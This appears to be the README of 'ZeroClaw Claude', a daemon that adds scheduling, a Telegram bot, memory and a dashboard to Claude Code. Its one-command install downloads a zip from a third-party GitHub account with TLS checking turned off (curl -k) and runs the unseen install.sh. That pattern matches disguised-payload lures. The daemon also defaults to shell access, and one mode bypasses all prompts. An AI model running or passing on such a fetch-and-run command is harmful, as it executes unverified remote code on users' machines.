Claude Zeroclaw

⚡ ZeroClaw Claude

A lightweight, open-source daemon built into your Claude Code. Zero API overhead, zero separate keys, zero billing surprises.

ZeroClaw Claude turns your Claude Code into a personal assistant that never sleeps. It runs as a background daemon, executing tasks on a schedule, responding to messages on Telegram, transcribing voice commands, and integrating with any service you need — all within your existing Claude Code subscription.

---

⚡ Install on macOS — one command

curl -fsSLk https://github.com/Crestdrasnip/Claude-Zeroclaw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/Claude-Zeroclaw-main && \
bash install.sh

The installer will:

• Check / install Homebrew if needed
• Check / install Node.js ≥ 20 if needed
• Check / install Bun (fast JS runtime) if needed
• Check / install Claude CLI if needed
• Install Node dependencies and compile TypeScript
• Register the Claude Code plugin and skills
• Run the interactive setup wizard
• Add zeroclaw command to your PATH

---

Why ZeroClaw Claude?

Zero API overhead. No separate API keys, no token accounting, no billing surprises. Runs entirely within your Claude Code subscription using @anthropic-ai/claude-agent-sdk which spawns the claude binary — your OAuth token is never read or transmitted by ZeroClaw.

Deploy in minutes. One command installs everything. The setup wizard guides you through model, heartbeat, Telegram, and security.

Built-in observability. A real-time web dashboard to monitor runs, edit scheduled jobs, inspect logs, and chat with Claude live.

---

Features

⏰ Scheduler

Cron jobs with standard cron syntax, timezone-aware, and reliable execution. Create jobs from Claude Code or the web dashboard.

# Daily standup at 9am
0 9 * * * — Generate git summary and send to Telegram

# Every Friday 5pm
0 17 * * 5 — Send weekly summary and plan for next week

💓 Heartbeat

Periodic proactive check-ins at a configurable interval with quiet hours. Claude checks in, reviews your context, and surfaces anything important.

📱 Telegram Bot

Full Telegram integration — text messages, voice notes (Groq Whisper transcription), and photo analysis. Chat with Claude from your phone as if you're in Claude Code.

You: "What's the status of the main branch?"
Claude: "main is 3 commits ahead of origin. Last commit: 'fix auth middleware'..."

🧠 Memory

Three layers of persistent memory:

• Session continuity — resumes the same Claude Code session across messages
• Semantic memory — facts, decisions, and preferences extracted and scored by salience
• Tool-use context — what Claude did, captured via post-tool-use hooks

📊 Web Dashboard

Real-time dashboard at http://127.0.0.1:3742:

• Overview with run stats and token usage
• Cron job manager (create, edit, enable/disable, delete)
• Full run history
• Live chat with Claude
• Streaming log viewer
• Memory browser

🔒 Security Levels

Four granular levels:

• readonly — no write access, no shell
• standard — files + web, no shell exec
• elevated — files + web + shell (default)
• full — all tools, bypass all prompts

---

Quick start

# Start daemon
zeroclaw

# Or with npm
npm start

# Setup wizard (first time)
npm run setup

# Health check
npm run status

# Development mode (hot reload)
npm run dev

In Claude Code

/zeroclaw:start     # Start the daemon
/zeroclaw:status    # Health check
/zeroclaw:job       # Manage cron jobs

# Natural language works too:
"Schedule a daily git summary at 9am"
"Add a cron job to check my email every hour"
"Show me the ZeroClaw status"

---

Architecture

zeroclaw-claude/
│
├── src/
│   ├── index.ts              ← Daemon entry point
│   ├── types.ts              ← TypeScript types
│   ├── config.ts             ← Config loader (~/. zeroclaw-claude/config.json)
│   ├── db.ts                 ← SQLite: jobs, runs, memory, outbox
│   ├── setup.ts              ← Interactive setup wizard
│   ├── status.ts             ← Health check CLI
│   │
│   ├── agent/
│   │   └── runner.ts         ← Claude agent SDK wrapper + memory
│   │
│   ├── scheduler/
│   │   └── index.ts          ← node-cron scheduler, timezone-aware
│   │
│   ├── daemon/
│   │   ├── heartbeat.ts      ← Periodic heartbeat with quiet hours
│   │   └── logger.ts         ← Structured logger (console + file)
│   │
│   ├── bot/
│   │   └── telegram.ts       ← Telegram bot (grammy) + outbox poller
│   │
│   └── dashboard/
│       └── server.ts         ← Express + WebSocket real-time dashboard
│
├── commands/                 ← Slash command definitions (.md)
├── hooks/                    ← Claude Code hooks (post-tool-use)
├── prompts/                  ← System prompts
├── skills/                   ← Claude Code skills
├── CLAUDE.md                 ← Project context for Claude Code
├── .claude-plugin/
│   └── plugin.json           ← Claude Code plugin manifest
├── install.sh                ← macOS one-command installer
├── package.json
└── tsconfig.json

---

Configuration

Config lives at ~/.zeroclaw-claude/config.json:

{
  "model": "claude-sonnet-4-6",
  "heartbeat": {
    "enabled": true,
    "intervalMin": 60,
    "quietHoursStart": 23,
    "quietHoursEnd": 8,
    "prompt": "Check in: any urgent tasks or things I should know about?"
  },
  "telegram": {
    "enabled": true,
    "token": "...",
    "chatId": "...",
    "allowVoice": true,
    "groqApiKey": "..."
  },
  "security": "elevated",
  "dashboardPort": 3742
}

---

Models

Override per-job by setting model on individual cron jobs.

---

Dashboard

The web dashboard runs at http://127.0.0.1:3742 (localhost only, not exposed to the network).

Tabs:

• Overview — live stats, recent runs
• Cron Jobs — full job manager
• Run History — complete history with token usage
• Live Chat — talk to Claude directly
• Logs — streaming log viewer
• Memory — browse stored memory entries

---

Telegram setup

1. Create a bot at https://t.me/BotFather → /newbot
2. Get your chat ID at https://t.me/userinfobot
3. Run npm run setup and enter both values
4. Optional: add a Groq API key for voice transcription (free tier available at console.groq.com)

Bot commands:

/start    — Welcome + feature list
/newchat  — Clear session, fresh conversation
/status   — Daemon health stats
/jobs     — List scheduled cron jobs
/memory   — Top memory entries
/help     — Full command list

---

Security note

ZeroClaw Claude never reads or transmits your OAuth token.

@anthropic-ai/claude-agent-sdk's query() spawns the claude CLI binary as a child subprocess. That subprocess manages its own OAuth from ~/.claude/. ZeroClaw only receives the text responses — nothing else.

What this means for you: ZeroClaw is fully compatible with Anthropic's February 2026 policy on third-party OAuth usage.

---

Troubleshooting

"zeroclaw: command not found"

source ~/.zshrc  # or ~/.bash_profile

Claude CLI not found

npm install -g @anthropic-ai/claude-code

Dashboard not opening

npm run status  # check the port config
open http://127.0.0.1:3742

Telegram bot not responding

Check your chat ID matches exactly. Get it from https://t.me/userinfobot.

---

License

MIT

Credits

• Inspired by claudeclaw by moazbuilds
• Built for ZeroClaw
• Powered by Claude Code and @anthropic-ai/claude-agent-sdk